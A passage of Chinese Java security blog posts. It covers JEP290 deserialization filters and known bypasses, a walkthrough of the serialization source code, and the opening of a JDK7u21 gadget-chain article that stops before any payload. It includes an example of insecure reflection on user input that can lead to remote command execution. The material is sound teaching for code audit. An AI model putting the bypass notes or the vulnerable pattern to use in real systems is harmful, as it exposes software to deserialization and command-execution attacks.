欢迎购买我的新书《Java代码审计(入门篇)》
关于这本书这本书在去年 12 月就已经写完，从修改时到发售，历经 7 个月的时间，十分不易这本书非常适合新人入门，算是我的系列文章【Java 代码审计入门】的横纵延伸（这也是【Java 代码审计入门】系列文章那么久没有更新的原因）所以想学习 java 代码审计的朋友可以考虑买本书看看购买链接https://item.jd.com/10033832360716.html本书目录本书的简介本书介绍本书推荐
JEP2900x01 什么是JEP?JDK Enhancement Proposal 简称JEP，是 JDK 增强提议的一个项目，目前索引编号已经达到了JEP415，本文重点来谈谈什么是JEP290，JEP290做了哪些事，JEP290绕过的方法总结等。0x02 什么是JEP290?JEP290的描述是Filter Incoming Serialization Data，即过滤传入的序列化数据F Clo 9core/io:serialization290Filter Incoming Serialization DataJEP290 是 Java 为了防御反序列化攻击而设置的一种过滤器，其在 JEP 项目中编号为290，因而通常被简称为JEP2900x03 JEP290的适用范围Java™ SE Development Kit 8, Update 121 (JDK 8u121)Java™ SE Development Kit 7, Update 131 (JDK 7u131)Java™ SE Development Kit 6, Update 141 (JDK 6u141)0x04 JEP290 的作用Provide a flexible mechanism to narrow the classes that can be deserialized from any class available to an application down to a context-appropriate set of classes. [提供一个限制反序列化类的机制，白名单或者黑名单]Provide metrics to the filter for graph size and complexity during deserialization to validate normal graph behaviors. [限制反序列化的深度和复杂度]Provide a mechanism for RMI-exported objects to validate the classes expected in invocations. [ 为RMI远程调用对象提供了一个验证类的机制]The filter mechanism must not require subclassing or modification to existing subclasses of ObjectInputStream. [定义一个可配置的过滤机制，比如可以通过配置 properties文件的形式来定义过滤器]JEP290 具体内容1、限制的情况：反序列化类数组时的数组元素数 ( arrayLength )每个嵌套对象的深度( depth )当前数量对象引用 ( references ) 的数量当前消耗的字节数 ( streamBytes )2、支持 3 种配置过滤器的方式自定义过滤器进程范围过滤器（也称为全局过滤器）用于 RMI 注册表和分布式垃圾收集 (DGC)使用的内置过滤器3、自定义过滤器当反序列化要求与整个应用程序中的任何其他反序列化过程不同时，就会出现自定义过滤器的配置场景；可以通过实现ObjectInputFilter接口并覆盖checkInput(FilterInfo filterInfo)方法来创建自定义过滤器：如以下示例：static class VehicleFilter implements ObjectInputFilter { final Class<?> clazz = Vehicle.class; final long arrayLength = -1L; final long totalObjectRefs = 1L; final long depth = 1l; final long streamBytes = 95L; public Status checkInput(FilterInfo filterInfo) { if (filterInfo.arrayLength() < this.arrayLength || filterInfo.arrayLength() > this.arrayLength || filterInfo.references() < this.totalObjectRefs || filterInfo.references() > this.totalObjectRefs || filterInfo.depth() < this.depth || filterInfo.depth() > this.depth || filterInfo.streamBytes() < this.streamBytes || filterInfo.streamBytes() > this.streamBytes) { return Status.REJECTED; } if (filterInfo.serialClass() == null) { return Status.UNDECIDED; } if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) { return Status.ALLOWED; } else { return Status.REJECTED; } } }在JDK 9 中，oracle 向 ObjectInputStream 类里添加了两个方法（getObjectInputFilter、setObjectInputFilter），允许为当前的 ObjectInputStream 设置或者获取自定义的过滤器：public class ObjectInputStream extends InputStream implements ObjectInput, ObjectStreamConstants { private ObjectInputFilter serialFilter; ... public final ObjectInputFilter getObjectInputFilter() { return serialFilter; } public final void setObjectInputFilter(ObjectInputFilter filter) { ... this.serialFilter = filter; } ... } 与 JDK 9 不同，最新的 JDK 8 似乎只允许在ObjectInputFilter.Config.setObjectInputFilter(ois, new VehicleFilter());上设置过滤器，如下所示：4、进程范围（全局）过滤器可以通过将jdk.serialFilter设置为系统属性或安全属性来配置进程范围的过滤器（其实就是在启动Java应用时添加命令行参数，如：-Djdk.serialFilter=<白名单类1>;<白名单类2>;!<黑名单类>）。如果定义了系统属性，则用于配置过滤器；否则过滤器会检查安全属性（JDK 8、7、6： $JAVA_HOME/lib/security/java.security ；JDK 9 及更高版本： $JAVA_HOME/conf/security/java.security）以配置过滤器此外，也可以在启动Java应用时设置-Djava.security.properties=<黑白名单配置文件名>具体来说，通过检查类名或传入字节流属性的限制，jdk.serialFilter的值被过滤器被配置为一系列模式，每个模式要么与流中类的名称匹配，要么与限制匹配。模式由分号分隔，空格也被认为是模式的一部分。无论模式序列的配置顺序如何，都会在类之前检查限制。以下是可在配置期间使用的限制属性：maxdepth=value — 图的最大深度maxrefs=value — 内部参考的最大数量maxbytes=value — 输入流中的最大字节数maxarray=value — 允许的最大数组大小其他模式与Class.getName()返回的类或包名称匹配*。Class/Package模式也接受星号 (*)、双星号 (**)、句点 (.) 和正斜杠 (/) 符号。以下是可能发生的几种模式场景：//匹配特定的类并拒绝非列表中的类 "jdk.serialFilter=org.example.Vehicle;!*" //匹配包和所有子包中的类并拒绝非列表中的类 - "jdk.serialFilter=org.example.**;!*" // 匹配包中的所有类并拒绝非列表中的类 - "jdk.serialFilter=org.example.*;!*" // 匹配任何以设置样式为前缀的类 - "jdk.serialFilter=*;### 5、内置过滤器内置过滤器用于 RMI Registry 、RMI 分布式垃圾收集器(DCG)和 Java 管理扩展(JMX)RMI Registry 有一个内置的白名单过滤器，允许将对象绑定到注册表中。它包括的情况如下：java.rmi.Remote`java.lang.Numberjava.lang.reflect.Proxyjava.rmi.server.UnicastRef`java.rmi.activation.ActivationIdjava.rmi.server.UID`java.rmi.server.RMIClientSocketFactoryjava.rmi.server.RMIServerSocketFactory内置过滤器包括大小限制： maxarray=1000000,maxdepth=20RMI 分布式垃圾收集器有一个内置的白名单过滤器，它接受一组有限的类。它包括的情况如下：java.rmi.server.ObjID`java.rmi.server.UIDjava.rmi.dgc.VMIDjava.rmi.dgc.Lease内置过滤器包括大小限制： maxarray=1000000,maxdepth=20除了这些类之外，用户还可以使用sun.rmi.registry.registryFilter（针对RMI Registry）和sun.rmi.transport.dgcFilter（针对DGC）系统或安全属性添加自己的自定义过滤器对于JMX 过滤器，可以在进行RMIServer.newClient远程调用以及通过 RMI 向服务器发送反序列化参数时，指定要使用的反序列化过滤器模式字符串；还可以使用该management.properties文件向默认代理提供过滤器模式字符串0x05 JEP290 值得注意的点JEP290需要手动设置，只有设置了之后才会有过滤，没有设置的话就还是可以正常的反序列化漏洞利用JEP290默认只为 RMI 注册表（RMI Register层）、 RMI分布式垃圾收集器（DGC层）以及 JMX 提供了相应的内置过滤器0x06 JEP290的绕过对于JEP290的绕过其实要基于有没有配置全局过滤器，如果没有，那么有可能在应用程序级别中利用反序列化漏洞，但如果配置了全局过滤器，那么只能通过发现新的gadget链去利用。配置了全局过滤器JDK7u21JDK8u20RMI Registry Bypass (2019)（利用的是新的gadget链）未配置全局过滤器CVE-2018-4939 (2018) --> Spring Framework RmiInvocationHandler，它可以将任意对象传递给RemoteInvocation类（利用的是任意对象作为参数）unmarshalValue方法（2020年1月在JDK 8u242-b07、 11.0.6+10、13.0.2+5、14.0.1+2中修复，Java 版本 9、10 和 12 未修复）0x07 JEP290 绕过带来的影响以前不能用的gadget链可能被再次利用。[如一些 CC 链可能被利用]新的gadget链能够被使用WebLogic深受影响0x08 参考https://access.redhat.com/blogs/766093/posts/3135411https://docs.oracle.com/javase/10/core/serialization-filtering1.htm#JSCOR-GUID-3ECB288D-E5BD-4412-892F-E9BB11D4C98A
目录目录0x01 写在前面0x02 流程分析0x03 总结0x04 参考0x01 写在前面本文写的比较细，推荐复制demo代码，然后一步一步跟随笔者的分析进行debug调试跟随，这样跟能够帮助读者理解此文。0x02 流程分析所谓的序列化即是一个将对象写入到IO流中的过程。序列化的步骤通常是首先创建一个ObjectOutputStream输出流，然后调用ObjectOutputStream对象的writeObject方法，按照一定格式(上面提到的)输出可序列化对象。如下段Demo代码：package com.panda.alipay; import java.io.*; public class Main { public static class Demo implements Serializable { private String string; transient String name = "hello"; public Demo(String s) { this.string = s; } public static void main(String[] args) throws IOException { Demo demo = new Demo("panda"); ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("panda.out")); outputStream.writeObject(new Demo("panda")); outputStream.close(); } } }整个代码中最关键的两行为：ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("panda.out")); outputStream.writeObject(new Demo("panda"));这两行其实就包括了整个序列化的流程。首先来看ObjectOutputStream，ObjectOutputStream是一个实现了ObjectOutput接口的OutputStream的子类，其类定义如下：public class ObjectOutputStream extends InputStream implements ObjectInput, ObjectStreamConstants{ ... }当我们实例化ObjectOutputStream并传入参数后，首先调用的是ObjectOutputStream的构造方法。ObjectOutputStream构造方法有两个，一个是public的单参数构造函数，一个是protected的无参构造函数，上述代码中我们传入了new FileOutputStream("panda.out")为参数，因此调用的是ObjectOutputStream的public的单参数构造函，该函数内容如下：/** * 创建写入指定输出流的ObjectOutputStream。 * 此构造函数将序列化流头写入底层流； * 调用者可能希望立即刷新流，以确保接收ObjectInputStreams的构造函数在读取头时不会阻塞。 * 如果安装了安全管理器，则当重写ObjectOutputStream.putFields或ObjectOutputStream.writeUnshared方法的子类的构造函数直接或间接调用时，此构造函数将检查“enableSublassimplementation”SerializablePermission。 */ public ObjectOutputStream(OutputStream out) throws IOException { verifySubclass(); bout = new BlockDataOutputStream(out); handles = new HandleTable(10, (float) 3.00); subs = new ReplaceTable(10, (float) 3.00); enableOverride = false; writeStreamHeader(); bout.setBlockDataMode(true); if (extendedDebugInfo) { debugInfoStack = new DebugTraceInfoStack(); } else { debugInfoStack = null; } }在该构造函数的开始，首先会调用verifySubclass方法处理缓存信息，要求该类(或子类)进行验证——验证是否可以在不违反安全约束的情况下构造此实例。然后初始化bout等，实例化一个BlockDataOutputStream；思考：bout等是什么？BlockDataOutputStream是什么？为什么要在这里初始化bout成员属性？1、bout等是什么？bout是主类中的成员属性，除了bout还有几个成员属性，比如handles：是一个哈希表，表示从对象到引用的映射；subs：同样是一个哈希表，表示从对象到“替换对象”的一个映射关系；enableOverride：布尔型常量，用于决定在序列化Java对象时选用writeObjectOverride方法还是writeObject方法。/** filter stream for handling block data conversion */ private final BlockDataOutputStream bout; /** obj -> wire handle map */ private final HandleTable handles; /** obj -> replacement obj map */ private final ReplaceTable subs; /** if true, invoke writeObjectOverride() instead of writeObject() */ private final boolean enableOverride;我们可以把bout 可以理解为一个 “容器”，它用于处理数据块转换的过滤流。2、BlockDataOutputStream是什么？BlockDataOutputStream是ObjectOutputStream的一个重要内部类，这个类负责将缓冲区中的数据写入到字节流。该类部分内容如下：/* 缓冲输出流有两种模式：在默认模式下，以与DataOutputStream相同的格式输出数据；在“块数据”模式下，输出由块数据标记括起来的数据（有关详细信息，请参阅对象序列化规范）。 */ private static class BlockDataOutputStream extends OutputStream implements DataOutput { /** maximum data block length */ private static final int MAX_BLOCK_SIZE = 1024; /** maximum data block header length */ private static final int MAX_HEADER_SIZE = 5; /** (tunable) length of char buffer (for writing strings) */ private static final int CHAR_BUF_SIZE = 256; /** buffer for writing general/block data */ private final byte[] buf = new byte[MAX_BLOCK_SIZE]; /** buffer for writing block data headers */ private final byte[] hbuf = new byte[MAX_HEADER_SIZE]; /** char buffer for fast string writes */ private final char[] cbuf = new char[CHAR_BUF_SIZE]; /** block data mode */ private boolean blkmode = false; /** current offset into buf */ private int pos = 0; /** underlying output stream */ private final OutputStream out; /** loopback stream (for data writes that span data blocks) */ private final DataOutputStream dout; /** * Creates new BlockDataOutputStream on top of given underlying stream. * Block data mode is turned off by default. */ BlockDataOutputStream(OutputStream out) { this.out = out; dout = new DataOutputStream(this); } ...... } 可以看到，这个类的定义和主类(ObjectOutputStream)的定义有些相似，唯独不同的就是实现的接口。其实可以理解成BlockDataOutputStream类是封装后的DataOutputStream类，并且提供了一些缓冲区及成员属性。3、为什么要在这里初始化bout成员属性？writeObject0方法的代码中，会主要使用到bout对象的方法setBlockDataMode关闭Data Block模式；Data Block模式：在JDK 1.2中，有必要修改和JDK 1.1不兼容的字节流格式；为了处理这种情况，向前兼容性是必须的，一个兼容标记将会写入到字节流中，这个兼容标记是类似PROTOCOL_VERSION的格式，ObjectOutputStream中的useProtocolVersion方法会接收一个参数以表示写入的可序列化字节流的协议版本。 使用的字节流协议版本如下：ObjectStreamConstants.PROTOCOL_VERSION_1：表示最初序列化字节流的格式；ObjectStreamConstants.PROTOCOL_VERSION_2：表示新的外部字节流格式，基础类型的数据将会使用数据块【Data-Block】的模式写入字节流，它以标记TC_ENDBLOCKDATA结束​ 数据块的边界是标准化的，使用数据块模式写入字节流的基础类型的数据通常不能超过1024字节长度，这种变化的好处是固定以及规范化序列化数据格式，有利于其向前和向后的兼容性。JDK1.2默认使用PROTOCOL_VERSION_2JDK1.1默认使用PROTOCOL_VERSION_1JDK 1.1.7版本以及以上的版本可读取以上的两种版本，而JDK 1.1.7之前的版本只能读取PROTOCOL_VERSION_1版本；详见《Object Serialization Stream Protocol》原版：https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html或者也可以看我翻译总结的《Object Serialization Stream Protocol/对象序列化流协议》：https://www.cnpanda.net/talksafe/892.html回到正题，在初始化完几个成员属性之后，调用了writeStreamHeader()方法，跟进可以发，这个方法就是用于ObjectOutputStream在实例初始化时向bout变量中写入魔术头以及版本号，如下图：当ObjectOutputStream的public构造方法走完后，才会调用writeObject()开始写对象数据，该方法的主要代码如下：public final void writeObject(Object obj) throws IOException { if (enableOverride) { writeObjectOverride(obj); return; } try { writeObject0(obj, false); } catch (IOException ex) { if (depth == 0) { writeFatalException(ex); } throw ex; } }通常来说enableOverride的默认值为false（因为在ObjectOutputStream的public构造方法中已经初始化了enableOverride = false;）然后才是进入了关键方法writeObject0进一步序列化，该方法如下（略长）： /** * Underlying writeObject/writeUnshared implementation. */ private void writeObject0(Object obj, boolean unshared) throws IOException { boolean oldMode = bout.setBlockDataMode(false); depth++; try { // handle previously written and non-replaceable objects int h; if ((obj = subs.lookup(obj)) == null) { writeNull(); return; } else if (!unshared && (h = handles.lookup(obj)) != -1) { writeHandle(h); return; } else if (obj instanceof Class) { writeClass((Class) obj, unshared); return; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return; } // check for replacement object Object orig = obj; Class<?> cl = obj.getClass(); ObjectStreamClass desc; for (;;) { // REMIND: skip this check for strings/arrays? Class<?> repCl; desc = ObjectStreamClass.lookup(cl, true); if (!desc.hasWriteReplaceMethod() || (obj = desc.invokeWriteReplace(obj)) == null || (repCl = obj.getClass()) == cl) { break; } cl = repCl; } if (enableReplace) { Object rep = replaceObject(obj); if (rep != obj && rep != null) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true); } obj = rep; } // if object replaced, run through original checks a second time if (obj != orig) { subs.assign(orig, obj); if (obj == null) { writeNull(); return; } else if (!unshared && (h = handles.lookup(obj)) != -1) { writeHandle(h); return; } else if (obj instanceof Class) { writeClass((Class) obj, unshared); return; } else if (obj instanceof ObjectStreamClass) { writeClassDesc((ObjectStreamClass) obj, unshared); return; } } // remaining cases if (obj instanceof String) { writeString((String) obj, unshared); } else if (cl.isArray()) { writeArray(obj, desc, unshared); } else if (obj instanceof Enum) { writeEnum((Enum<?>) obj, desc, unshared); } else if (obj instanceof Serializable) { writeOrdinaryObject(obj, desc, unshared); } else { if (extendedDebugInfo) { throw new NotSerializableException( cl.getName() + "\n" + debugInfoStack.toString()); } else { throw new NotSerializableException(cl.getName()); } } } finally { depth--; bout.setBlockDataMode(oldMode); } }来一点一点分析。在writeObject0()方法最开始的地方： boolean oldMode = bout.setBlockDataMode(false);首先代码先关闭输出流的Data Block模式，并且将原始模式赋值给变量oldMode，然后会进入以下代码块进行判断：在上面的代码块的主要功能就是像其注释写的一样，用于处理已经处理过的和不可替换的对象，这些都是不能够序列化的，其实在大多数情况下，我们的代码都不会进入这个代码块。具体来看，代码首先会进入subs.lookup(obj)进行判断，如下图：根据这个方法的描述——查找并返回给定对象的替换。如果找不到替换，则返回查找对象本身。也就是说，这个方法实际上就是处理以前写入的对象和不可替换的对象。更直白点的意思，这段代码实际上做的是一个检测功能，如果检测到当前传入对象在“替换哈希表(ReplaceTable)”中无法找到，那么就调用writeNull方法。接着继续判断当前写入方式是不是“unshared”方式，然后可以看到紧跟着的就是 handles.lookup(obj)，跟进去的话：该lookup方法会查找并返回与给定对象关联的handler，如果没有找到映射，则返回 -1，直白的意思就是说判断是否在“引用哈希表(HandleTable)”中找到该引用，如果有，那么调用writeHandle方法并且返回；如果没找到，那么返回-1，需要进一步序列化处理。然后继续跟进：判断当前传入对象是不是特殊类型的Class和ObjectStreamClass，如果是，则调用writeClass或writeClassDesc方法并且返回；当以上条件都不满足的时候(不进入if)，开始检查是否开启了替换对象。如上图，通过检查成员属性enableReplace的值判断当前对象是否启用了“替换(Replace)”功能；但实际上enableReplace的值通常为false我们并不会进入这一代码段。然后进入二次检查代码段：如果对象被替换，这里会对原始对象进行二次检查，和最开始的那段代码很像，这里先将替换对象插入到subs(替换哈希表)中，然后进行类似的判断。以上执行都完成过后，会处理剩余对象类型：如果传入对象为String类型，那么调用writeString方法将数据写入字节流；如果传入对象为Array类型，那么调用writeArray方法将数据写入字节流；如果传入对象为Enum类型，调用writeEnum方法将数据写入字节流；如果传入对象实现了Serializable接口，调用writeOrdinaryObject方法将数据写入字节流；以上条件都不满足时则抛出NotSerializableException异常信息；对于writeString、writeArray、writeEnum的方法我们就不详谈了，只以writeString为例简单讲下。 private void writeString(String str, boolean unshared) throws IOException { handles.assign(unshared ? null : str); long utflen = bout.getUTFLength(str); if (utflen <= 0xFFFF) { bout.writeByte(TC_STRING); bout.writeUTF(str, utflen); } else { bout.writeByte(TC_LONGSTRING); bout.writeLongUTF(str, utflen); } }可以看到过程如下，首先在写入String对象之前，代码会判断当前写入方式是否是unshared，如果不是unshared方式还需要在handles的对象映射中插入当前String对象；接着，代码会调用getUTFLength函数获取String字符串的长度和0xFFFF比较，如果大于该值时，表示当前String对象是一个长字符串对象，那么会先写入TC_LONGSTRING标记（表示是LONGSTRING类型数据），然后写入字符串的长度和内容；如果小于等于该值时，表示当前String对象就是一个普通的字符串对象，那么会先写入TC_STRING标记（表示是一个STRING类型对象），然后写入字符串的长度和内容；现在我们重点来看看writeOrdinaryObject方法。在写入obj对象之前，代码会先调用checkSerialize()检查当前对象是否是一个可序列化对象，如果不是那么会终止本次序列化并抛出newInvalidClassException()错误：如果是一个可序列化对象，那么会开始写入TC_OBJECT标记（表示开始），随后调用writeClassDesc方法写入当前对象所属类的类描述信息，跟进去：writeClassDesc方法主要用于判断当前的类描述符使用什么方式写入，如果传入的类描述信息是一个null引用，那么会调用writeNull方法，如果没有使用unshared方式，并且可以在handles对象池中找到传入的对象信息，那么调用writeHandle，如果传入的类是一个动态代理类，那么调用writeProxyDesc方法，如果上面三个条件都不满足，那么调用writeNonProxyDesc方法。writeProxyDesc与writeString方法较为类似且不在我们本次(demo代码)的序列化流程中，因此不做赘述。来看看writeNonProxyDesc：首先写入TC_CLASSDESC标记（表新类描述信息的开始）信息，然后判断使用的模式是unshared模式，那么将desc所表示的类元数据信息插入到handles对象的映射表中，然后根据使用的流协议版本调用不同的write方法，如果使用的流协议是PROTOCOL_VERSION_1，那么直接调用desc成员的writeNonProxy方法，并且将当前引用this作为实参传入到writeNonProxy方法中，如果使用的不是PROTOCOL_VERSION_1协议，那么会调用当前类中的writeClassDescriptor方法。会调用writeNonProxy方法，跟进：先调用writeUTF方法写入类名到字节流，这里的类名是类全名，带了包名的那种（out.writeUTF(name);）再调用writeLong方法写入serialVersionUID的值到字节流（ out.writeLong(getSerialVersionUID());）然后开始写入当前类中成员属性的数量信息到字节流（out.writeShort(fields.length);）最后如下图所示，会写入每一个字段的信息，这里的字段信息包含三部分内容：TypeCode、fieldName、fieldType这里的debug就走完了：接着，开启Data Block模式，然后调用annotateClass方法，annotateClass方法没有具体实现，如下图：该方法是提供给子类实现的方法，通常默认情况下这个方法什么也不做，与此类似的还有ObjectInputStream中的resolveClass方法。在调用annotateClass方法完成过后，代码会关闭Data Block模式，然后写入TC_ENDBLOCKDATA标记（表示当前非动态代理类的描述信息的终止）到这里，writeNonProxy和writeClassDescriptor流程结束，同样，也导致writeClassDesc流程结束，并且回到writeOrdinaryObject方法。继续来看writeOrdinaryObject下面的代码如果使用的模式是unshared模式，则将desc所表示的类元数据信息插入到handles对象的映射表中，最后会判断当前Java对象的序列化语义，如果当前对象不是一个动态代理类并且是实现了外部化的，则调用writeExternalData方法写入对象信息，如果当前对象是一个实现了Serializable接口的，则调用writeSerialData方法写入对象信息。writeExternalData主要代码如下： private void writeExternalData(Externalizable obj) throws IOException { PutFieldImpl oldPut = curPut; curPut = null; if (extendedDebugInfo) { debugInfoStack.push("writeExternal data"); } SerialCallbackContext oldContext = curContext; try { curContext = null; if (protocol == PROTOCOL_VERSION_1) { obj.writeExternal(this); } else { bout.setBlockDataMode(true); obj.writeExternal(this); bout.setBlockDataMode(false); bout.writeByte(TC_ENDBLOCKDATA); } } finally { curContext = oldContext; if (extendedDebugInfo) { debugInfoStack.pop(); } } curPut = oldPut; }再这个方法内会首先判断当前使用的字节流协议，如果使用的是PROTOCOL_VERSION_1协议，那么回直接调用可序列化对象中的writeExternal方法，如果使用的不是PROTOCOL_VERSION_1协议，那么会先开启Data Block模式，再调用writeExternal方法，调用完毕后再关闭Data Block模式并在该流的最后追加TC_ENDBLOCKDATA标记。值得一提的是，这个方法有一个切换上下文环境的过程——在检测协议前，首先令curPut和curContext 为空，检测并写入数据后，再分别令curContext curPut为oldContext和oldPut，恢复执行之前的环境。这里留下一个思考：为什么这里要切换上下文环境？再来看看writeSerialData，这个方法主要向obj对象写入数据信息，比如字段值和相关引用等，写入的时候会从顶级父类从上至下递归执行；看看这个方法的详细过程：在序列化当前对象之前，先从类描述信息中获取ClassDataSlot信息，在得到继承结构后，开始遍历。首先判断可序列化对象是否重写了writeObject方法，如果重写了该方法，则先开启Data Block模式，再调用writeObject方法，调用结束后再关闭Data Block模式，并且在最后追加TC_ENDBLOCKDATA标记（表示数据块写入终止），如果没有重写该方法，则调用defaultWriteFields方法写入当前对象中的所有字段信息，跟进defaultWriteFields方法：defaultWriteFields方法负责读取 obj 对象中的字段数据(desc)，并且将字段数据写入到字节流中，具体流程如下：首先利用checkDefaultSerialize()检查当前对象是否是一个可序列化对象如果该对象不可序列化，那么抛出newInvalidClassException异常。检查完毕后，获取该对象中所有基础类型字段的值会进入getPrimFieldValues方法中的getPrimFieldValues方法：这些基础类型字段对应类型如下所示：获得这些基础类型字段的值后，系统会将他们写入到字节流在写入过程结束，系统会再调用writeObject0方法：在这个方法里写入对象类型的字段的值，最终完成序列化操作其大概的流程如以下调用栈最后再通过流程图回顾一下整个序列化的流程：0x03 总结序列化的流程说起来简单也很简单，实际上就是几个write*方法：writeFataException、writeNull、writeHandle、writeClass、writeProxyDesc、writeNonProxyDesc、writeString、writeArray、writeEnum，加两个特殊的write*方法：writeExternalData、writeOrginaryObject。序列化的流程说起来也很复杂，除了各种判断检测分支，还有各种特性：如被transient修饰的成员属性具有”不会序列化“的语义，序列化的时候会忽略、被static修饰的成员属性隶属于类而非对象，所以它在序列化的时候同样会被忽略。但总的来说，搞懂序列化的某个流程(走到最后的write*)对于理解序列化机制是很有帮助的。0x04 参考https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serialTOC.htmlhttps://blog.csdn.net/silentbalanceyh/article/details/8294269https://blog.csdn.net/u011315960/article/details/89963230
目录目录0x01 写在前面0x02 所需的知识点0x03 基础知识1、Java 反射2、javassist 动态修改类3、Java 静态类加载4、Java 动态代理Proxy 类InvocationHandler 接口5、hash碰撞0x04 jdk7u21 payload0x05 漏洞分析0x06 漏洞修复0x07 总结0x08 参考0x01 写在前面JDK7u21原生gadget链的构造十分经典，在对于其构造及思想学习后，写下本文作为笔记。0x02 所需的知识点JDK7u21这个链用了很多的Java基础知识点，主要如下：Java 反射javassist 动态修改类Java 静态类加载Java 动态代理hash碰撞为了方便大家理解此文，因此我会对这些知识点进行简单介绍，如果都了解的朋友可以直接翻到后面的分析过程。0x03 基础知识1、Java 反射反射 (Reflection) 是 Java 的特征之一，在C/C++中是没有反射的，反射的存在使得运行中的 Java 程序能够获取自身的信息，并且可以操作类或对象的内部属性。那么什么是反射呢？对此， Oracle 官方有着相关解释：“Reflection enables Java code to discover information about thefields, methods and constructors of loaded classes, and to usereflected fields, methods, and constructors to operate on theirunderlying counterparts, within security restrictions.”（反射使Java代码能够发现有关已加载类的字段、方法和构造函数的信息，并在安全限制内使用反射的字段、方法和构造函数对其底层对应的对象进行操作。）简单来说，通过反射，我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。同样的，JAVA的反射机制也是如此，在运行状态中，通过 Java 的反射机制，对于任意一个类，我们都能够判断一个对象所属的类；对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为Java语言的反射机制。既然利用Java的反射机制，我们可以无视类方法、变量访问权限修饰符，可以调用任何类的任意方法、访问并修改成员变量值，那么这可能导致安全问题，如果一个攻击者能够通过应用程序创建意外的控制流路径，那么就有可能绕过安全检查发起相关攻击。假设有段代码如下： String name = request.getParameter("name"); Command command = null; if (name.equals("Delect")) { command = new DelectCommand(); } else if (ctl.equals("Add")) { command = new AddCommand(); } else { ... } command.doAction(request);存在一个字段为name，当获取用户请求的name字段后进行判断，如果请求的是 Delect 操作，则执行DelectCommand 函数，若执行的是 Add 操作，则执行 AddCommand 函数，如果不是这两种操作，则执行其他代码。此时，假如有位开发者看到了这段代码，他觉得可以使用Java 的反射来重构此代码以减少代码行，如下所示：String name = request.getParameter("name"); Class ComandClass = Class.forName(name + "Command"); Command command = (Command) CommandClass.newInstance(); command.doAction(request);这样的重构看起来使得代码行减少，消除了if/else块，而且可以在不修改命令分派器的情况下添加新的命令类型，但是如果没有对传入进来的name字段进行限制，那么我们就能实例化实现Command接口的任何对象，从而导致安全问题。实际上，攻击者甚至不局限于本例中的Command接口对象，而是使用任何其他对象来实现，如调用系统中任何对象的默认构造函数，再如调用Runtime对象去执行系统命令，这就可能导致远程命令执行漏洞。更多关于反射的内容具体可以参考我以前写的这篇文章：https://www.cnpanda.net/codeaudit/705.html2、javassist 动态修改类Javaassist 就是一个用来处理 Java 字节码的类库，其主要优点在于简单、便捷。用户不需要了解虚拟机指令，就可以直接使用Java编码的形式，并且可以动态改变类的结构，或者动态生成类。Javassist中最为重要的是ClassPool，CtClass ，CtMethod 以及 CtField这几个类。ClassPool：一个基于HashMap实现的CtClass对象容器，其中键是类名称，值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径，因此在某些情况下，可能需要向ClassPool添加类路径或类字节。CtClass：表示一个类，这些 CtClass 对象可以从ClassPool获得。CtMethods：表示类中的方法。CtFields ：表示类中的字段。Javassit官方文档中给出的代码示例如下首先获取 ClassPool 的实例，ClassPool 主要用来修改字节码，并且在 ClassPool 中存储着 CtClass 对象，它能够按需创建出 CtClass 对象并提供给后续处理流程使用，当需要进行类修改操作的时候，可以通过 ClassPool 实例的.get()方法，获取CtClass对象。如在上述代码中就是从 pool 中利用 get 方法获取到了test.Rectangle对象，然后将获取到的 CtClass 对象赋值给cc变量。需要注意的是，从 ClassPool 中获取的 CtClass 对象，是可以被修改的。如在上述代码中，可以看到，原先的父类，由test.Rectangle被改成了test.Point。这种更改可以通过调用CtClass().writeFile()将其持久化到文件中。可以举个实例来看看，如下代码：import javassist.*; public class TestJavassist { public static void createPseson() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cls = pool.makeClass("Test"); CtField param = new CtField(pool.get("java.lang.String"), "test", cls); param.setModifiers(Modifier.PRIVATE); cls.addField(param, CtField.Initializer.constant("whoami")); CtConstructor cons = new CtConstructor(new CtClass[]{}, cls); cons.setBody("{test = \"whoami\";}"); cls.addConstructor(cons); cls.writeFile("./"); } public static void main(String[] args) { try { createPseson(); } catch (Exception e) { e.printStackTrace(); } } } 运行后，就会生成名为Test.class的文件，如下图所示：实际上如果反编译该 class 文件，可以得到以下内容：public class Test{ private String test = "test"; public Test(){ this.test = "whoami"; } }这就是动态修改类的一些知识了。更具体的可以参考这位老哥写的文章：https://www.cnblogs.com/scy251147/p/11100961.html3、Java 静态类加载java 静态类加载属于类加载的一种，类加载即是指JVM虚拟机把.class文件中类信息加载进内存，并进行解析生成对应的class对象的过程，举个通俗点的例子来说，JVM在执行某段代码时，遇到了class A， 然而此时内存中并没有class A 的相关信息，于是 JVM 就会到相应的 class 文件中去寻 找class A的类信息，并加载进内存中，这就是我们所说的类加载过程。由此可见，JVM不是一开始就把所有的类都加载进内存中，而是只有第一次遇到某个需要运行的类时才会加载，且只加载一次。类加载的过程主要分为三个部分：加载、链接、初始化，而链接又可以细分为三个小部分：验证、准备、解析。在加载阶段，JVM 将 class 文件字节码内容通过类加载器加载到内存中，并将这些静态数据转换成方法区的运行时数据结构，然后生成一个代表这个类的 java.lang.Class 对象；在链接阶段，主要是将 Java 类的二进制代码合并到 JVM 的运行状态之中，在初始化阶段，主要是对类变量初始化，是执行类构造器的过程。换句话说，只对static修饰的变量或语句进行初始化。如果初始化一个类的时候，其父类尚未初始化，则优先初始化其父类。如果同时包含多个静态变量和静态代码块，则按照自上而下的顺序依次执行。java 静态类加载就是在这个阶段执行的，也就是说 java 静态类加载早于其他类加载。那么什么时候会发生类初始化呢？主要是类的主动引用（一定会发生类的初始化），类的主动引用主要指以下情形：虚拟机启动时，先初始化 main 方法所在的类new 一个类的对象调用类的静态成员（除了 final 常量）和静态方法使用 java.lang.refect包的方法对类进行反射调用当初始化一个类，如果其父类没有被初始化，那么会初始化他的父类关于类加载，可以参考这个【Class.forName() 与 ClassLoader.loadClass() - 